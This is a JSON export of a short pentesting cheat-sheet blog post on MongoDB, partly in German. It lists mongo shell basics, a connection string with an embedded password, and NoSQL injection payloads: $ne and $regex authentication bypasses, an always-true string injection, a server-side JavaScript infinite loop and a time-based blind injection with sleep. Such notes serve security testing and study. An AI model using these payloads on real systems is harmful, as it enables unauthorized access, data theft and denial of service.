{"id":606,"date":"2020-02-03T17:49:30","date_gmt":"2020-02-03T16:49:30","guid":{"rendered":"https:\/\/privat.andreas-klingler.de\/itsec\/?p=606"},"modified":"2021-03-02T10:20:51","modified_gmt":"2021-03-02T09:20:51","slug":"nosqlmap","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=606","title":{"rendered":"MongoDB"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Con\u00adnect from the com\u00admand&nbsp;line<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">mongo 'mongodb:\/\/mark:5AYRft73VtFpc84k@localhost:27017\/myplace'<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Show data\u00adbas\u00ades<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">show dbs<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Switch to database<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">use &lt;db&gt;<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Show all col\u00adlec\u00adtions (\u201ctables\u201d)<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">show collections<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Show all entries from a collection<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">db.&lt;collection&gt;.find()<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Add a document<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">db.products.insert( { item: \"card\", qty: 15 } )<\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">Injections<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">Show all records of the cur\u00adrent table, assum\u00ading there is a <span class=\"caps\">WHERE<\/span> clause for one&nbsp;field.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">' || 'a'=='a<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Instead of an parameter<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">password=wrongpassword<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">use instead the negation<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">password[%24ne]=wrongpassword<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Inter\u00adest\u00ading case: With\u00adin a where state\u00adment (which should be avoid\u00aded in Mon\u00adgoDB) we can exe\u00adcute <span class=\"caps\">JS<\/span> code \u2014 on the server!)<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">'; while(1);var foo='bar<\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">Tools<\/h1>\n\n\n\n<ul class=\"wp-block-list\"><li><a href=\"https:\/\/github.com\/codingo\/NoSQLMap\">NoSQLMap<\/a><\/li><\/ul>\n\n\n\n<h1 class=\"wp-block-heading\">Links<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/media.blackhat.com\/bh-us-11\/Sullivan\/BH_US_11_Sullivan_Server_Side_WP.pdf\">Blind injec\u00adtion<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/blog.websecurify.com\/2014\/08\/hacking-nodejs-and-mongodb.html\">https:\/\/blog.websecurify.com\/2014\/08\/hacking-nodejs-and-mongodb.html<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/tree\/master\/NoSQL%20Injection\">https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/tree\/master\/NoSQL%20Injection<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Wenn man keine Aus\u00adgabe hat, kann man Infor\u00adma\u00adtio\u00adnen auch durch die Zeit herausbringen:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">?login=user<span class=\"amp\">&amp;<\/span>password=\u2019; if (db.version() &gt; \u201c2\u201d) { sleep(10000); exit; } var loginn =1; var b=\u20182<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Tricks<\/h2>\n\n\n\n<ul class=\"wp-block-list\"><li>Mit param[$ne] kann man auf Ungle\u00adich\u00adheit testen.<\/li><li>Mit param[$regex] kann man eine Reg\u00adexp ein\u00adf\u00fc\u00adgen. Z.B. L\u00e4nge eines Pass\u00adworts testen mit password[$regex]=^.\u2026..$<\/li><\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Con\u00adnect from the com\u00admand&nbsp;line mon\u00adgo \u2018mongodb:\/\/mark:5AYRft73VtFpc84k@localhost:27017\/myplace\u2019 Show data\u00adbas\u00ades show dbs Switch to data\u00adbase use &lt;db&gt; Show all col\u00adlec\u00adtions (\u201ctables\u201d) show col\u00adlec\u00adtions Show all entries from a col\u00adlec\u00adtion db.&lt;collection&gt;.find() Add a doc\u00adu\u00adment db.products.insert( { item: \u201ccard\u201d, qty: 15 } ) Injec\u00adtions Show all records of the cur\u00adrent table, assum\u00ading there is a <span class=\"caps\">WHERE<\/span> clause for one&nbsp;field.&nbsp;[\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[323],"tags":[177,50,176,175],"class_list":["post-606","post","type-post","status-publish","format-standard","hentry","category-protocol","tag-database","tag-enumeration","tag-mongo","tag-mongodb"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/606","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=606"}],"version-history":[{"count":13,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/606\/revisions"}],"predecessor-version":[{"id":2875,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/606\/revisions\/2875"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=606"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=606"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=606"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}